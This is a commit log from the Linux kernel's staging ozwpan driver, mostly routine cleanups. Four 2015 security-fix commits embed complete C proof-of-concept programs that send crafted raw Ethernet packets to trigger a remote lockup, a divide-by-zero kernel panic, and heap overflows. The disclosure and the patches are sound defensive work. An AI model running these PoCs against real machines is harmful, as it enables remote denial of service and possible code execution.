aboutsummaryrefslogtreecommitdiffstats
path: root/drivers/staging/ozwpan (follow)
AgeCommit message (Collapse)AuthorFilesLines
2015-08-10staging: ozwpan: Remove from treeJason A. Donenfeld24-6582/+0
Ozwpan is completely unmaintained and potentially a security problem. As this is a staging driver, it should be removed, since it has been abandoned. Cc: Shigekatsu Tateno <shigekatsu.tateno@atmel.com> Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-07-14Staging: ozwpan: ozusbsvc1.c: Fix missing blank line after declarationsJohannes Postma1-0/+1
This patch fixes a missing line after declarations issue. Signed-off-by: Johannes Postma <jgmpostma@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-06-08staging: ozwpan: prevent a couple of underflowsDan Carpenter1-1/+10
The underflow in OZ_DATA_F_ISOC_FIXED seems not harmful, but this patch is a clean up and makes my static checker a bit happier. The underflow in OZ_VENDOR_CLASS_RSP seems like it could result in memory corruption. Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-05-30ozwpan: unchecked signed subtraction leads to DoSJason A. Donenfeld1-3/+4
The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-05-30ozwpan: divide-by-zero leading to panicJason A. Donenfeld1-1/+4
A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-05-30ozwpan: Use unsigned ints to prevent heap overflowJason A. Donenfeld2-6/+6
Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-05-30ozwpan: Use proper check to prevent heap overflowJason A. Donenfeld1-4/+9
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-03-26staging: ozwpan: implement error handling in ozwpan_init()Alexey Khoroshilov1-2/+12
Errors are correctly handled in oz_cdev_register() and oz_protocol_init(), but then they are ignored in ozwpan_init(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov <khoroshilov@ispras.ru> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-03-06staging: ozwpan: Move code from success handling to error handlingQuentin Lambert2-34/+37
The original version was success handling rather than error handling, therefore this patch reduces nesting. Signed-off-by: Quentin Lambert <lambert.quentin@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-03-06staging: ozwpan: Remove allocation from delaration lineQuentin Lambert2-5/+8
This patch removes allocation from declaration line because people are known to gloss over declarations. Signed-off-by: Quentin Lambert <lambert.quentin@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-03-06staging: ozwpan: remove extra parentheses around left bit shift operationsAya Mahfouz1-1/+1
Removes extra parentheses around bitwise left shift operations. The case handled is when resultant value is assigned to a variable. The issue was detected and resolved using the following coccinelle script: @@ expression e, e1; constant c; @@ e = -(e1 +e1 << -c); +c; @@ identifier i; constant c; type t; expression e; @@ t i = -(e +e << -c); +c; Signed-off-by: Aya Mahfouz <mahfouz.saif.elyazal@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-12-15Merge tag 'staging-3.19-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/stagingLinus Torvalds2-18/+16
Pull staging driver updates from Greg KH: "Here's the big staging tree pull request for 3.19-rc1. We continued to delete more lines than were added, always a good thing, but not at a huge rate this release, only about 70k lines removed overall mostly from removing the horrid bcm driver. Lots of normal staging driver cleanups and fixes all over the place, well over a thousand of them, the shortlog shows all the horrid details. The "contentious" thing here is the movement of the Android binder code out of staging into the "real" part of the kernel. This is code that has been stable for a few years now and is working as-is in the tens of millions of devices with no issues. Yes, the code is horrid, and the userspace api leaves a lot to be desired, but it's not going to change due to legacy issues that we have no control over. Because so many devices and companies rely on this, and the code is stable, might as well promote it out of staging. This was all discussed at the Linux Plumbers conference, and everyone participating agreed that this was the best way forward. There is work happening to replace the binder code with something new that is happening right now, but I don't expect to see the results of that work for another year at the earliest. If that ever happens, and Android switches over to it, I'll gladly remove this version. As for maintainers, I'll be glad to maintain this code, I've been doing it for the past few years with no problems. I'll send a MAINTAINERS entry for it before 3.19-final is out, still need to talk to the Google developers about if they are willing to help with it or not, last I checked they were, which was good. All of these patches have been in linux-next for a while with no reported issues" * tag 'staging-3.19-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging: (1382 commits) Staging: slicoss: Fix long line issues in slicoss.c staging: rtl8712: remove unnecessary else after return staging: comedi: change some printk calls to pr_err staging: rtl8723au: hal: Removed the extra semicolon lustre: Deletion of unnecessary checks before three function calls staging: lustre: fix sparse warnings: static function declaration staging: lustre: fixed sparse warnings related to static declarations staging: unisys: remove duplicate header staging: unisys: remove unneeded structure staging: ft1000 : replace __attribute ((__packed__) with __packed drivers: staging: rtl8192e: Include "asm/unaligned.h" instead of "access_ok.h" in "rtl819x_BAProc.c" Drivers:staging:rtl8192e: Fixed checkpatch warning Drivers:staging:clocking-wizard: Added a newline staging: clocking-wizard: check for a valid clk_name pointer staging: rtl8723au: Hal_InitPGData() avoid unnecessary typecasts staging: rtl8723au: _DisableAnalog(): Avoid zero-init variables unnecessarily staging: rtl8723au: Remove unnecessary wrapper _ResetDigitalProcedure1() staging: rtl8723au: _ResetDigitalProcedure1_92C() reduce code obfuscation staging: rtl8723au: Remove unnecessary wrapper _DisableRFAFEAndResetBB() staging: rtl8723au: _DisableRFAFEAndResetBB8192C(): Reduce code obfuscation ...
2014-11-26staging: ozwpan: Deletion of unnecessary checks before the function call "oz_free_urb_link"Markus Elfring1-4/+2
The oz_free_urb_link() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring <elfring@users.sourceforge.net> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-10-30staging: ozwpan: Remove useless cast on void pointerTapasweni Pathak2-10/+10
void pointers do not need to be cast to other pointer types. The semantic patch used to find this: @r@ expression x; void* e; type T; identifier f; @@ ( *((T *)e) | ((T *)x)[...] | ((T *)x)->f | - (T *) e ) Build tested it. Signed-off-by: Tapasweni Pathak <tapaswenipathak@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-10-28staging: ozwpan: Fix incorrect type in assignmentsMelike Yurtoglu1-1/+1
This patch fixes following sparse warnings: drivers/staging/ozwpan/ozhcd.c:1917:35: warning: incorrect type in assignment (different base types) drivers/staging/ozwpan/ozhcd.c:1917:35: expected restricted __le16 [usertype] wHubCharacteristics drivers/staging/ozwpan/ozhcd.c:1917:35: got unsigned short [unsigned] [usertype] <noident> Signed-off-by: Melike Yurtoglu <aysemelikeyurtoglu@gmail.com> Reviewed-by: Arnd Bergmann <arnd@arndb.de> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-10-27staging: remove unneeded parentheses around the right hand side of an assignmentJiayi Ye1-3/+3
In assignments such as value = (FLASH_CMD_STATUS_REG_READ << 24);, parentheses are not needed. The Coccinelle semantic patch was used to find cases. @r@ identifier x; expression e1, e2; @@ - x = (e1 << e2); + x = e1 << e2; Signed-off-by: Jiayi Ye <yejiayily@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-10-20staging: ozwpan: drop owner assignment from platform_driversWolfram Sang1-1/+0
A platform_driver does not need to set an owner, it will be populated by the driver core. Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
2014-09-28staging: ozwpan: Remove typedefsChristoph Jaeger1-16/+7
As these typedefs are only used once, there is no real need for them. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-09-08staging: ozwpan: use kmalloc_array over kmalloc with multiplyAdrian Nicoara1-2/+2
Cleanup checkpatch.pl warnings. Signed-off-by: Adrian Nicoara <anicoara@uwaterloo.ca> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-09-08staging: ozwpan: fix redundant return in void functionAdrian Nicoara1-1/+0
Cleanup checkpatch.pl warnings. Signed-off-by: Adrian Nicoara <anicoara@uwaterloo.ca> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-09-08staging: ozwpan: fix redundant else after break or returnAdrian Nicoara2-11/+7
Cleanup checkpatch.pl warnings. Signed-off-by: Adrian Nicoara <anicoara@uwaterloo.ca> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-09-08staging: ozwpan: fix missing blank line after declarationAdrian Nicoara6-0/+22
Cleanup checkpatch.pl warnings. Signed-off-by: Adrian Nicoara <anicoara@uwaterloo.ca> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Use list helpersChristoph Jaeger4-189/+88
Make use of the various list helper functions to improve readability. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Use slab cache for oz_tx_frame allocationChristoph Jaeger4-37/+16
Use a slab cache rather than rolling our own free list. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Use slab cache for oz_elt_info allocationChristoph Jaeger6-72/+16
Use a slab cache rather than rolling our own free list. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Use slab cache for oz_urb_link allocationChristoph Jaeger1-58/+12
Use a slab cache rather than rolling our own free list. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Simplify app interfaceChristoph Jaeger8-150/+82
Simplify the somewhat overcomplicated application interface; improves readability and saves a bunch of lines. Use designated struct initializers for clarity. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Reviewed-by: Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Remove dead codeChristoph Jaeger3-7/+3
No need to return a value from elt_buf_init(). Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Remove redundant initializationChristoph Jaeger1-1/+0
Member 'ops' has already been initialized by calling cdev_init(). Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Remove unused OZ_MAX_TIMER_POOL_SIZEChristoph Jaeger1-2/+0
OZ_MAX_TIMER_POOL_SIZE is not used anywhere; remove it. Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Fix typo in typedefChristoph Jaeger1-2/+2
Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-08-16staging: ozwpan: Add module parameter descriptionChristoph Jaeger1-1/+3
Signed-off-by: Christoph Jaeger <email@christophjaeger.info> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-05-23staging: ozwpan: Remove useless return variablesPeter Senna Tschudin1-4/+2
This patch remove variables that are initialized with a constant, are never updated, and are only used as parameter of return. Return the constant instead of using a variable. Verified by compilation only. The coccinelle script that find and fixes this issue is: // <smpl> @@ type T; constant C; identifier ret; @@ - T ret = C; ... when != ret - return ret; + return C; // </smpl> Signed-off-by: Peter Senna Tschudin <peter.senna@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-05-23staging: ozwpan: Add missing blanklines after declarationsJames A Shackleford1-0/+15
Signed-off-by: James A Shackleford <shack@linux.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-05-23staging: ozwpan: Change MaintainerRupesh Gujare1-1/+1
I will be not able to work on ozwpan driver anymore. Remove my name & add Tateno as maintainer. Signed-off-by: Rupesh Gujare <rupesh.gujare@atmel.com> Acked-by: Shigekatsu Tateno <shigekatsu.tateno@atmel.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-05-23staging: ozwpan: ozproto.c fix for "WARNING: Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2)"Anil Belur1-1/+1
Fixed the warning message by replacing memcpy() with ether_addr_copy() Signed-off-by: Anil Belur <askb23@gmail.com> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2014-05-23staging: ozwpan: remove redundant NULL check for devsDaeseok Youn1-1/+1
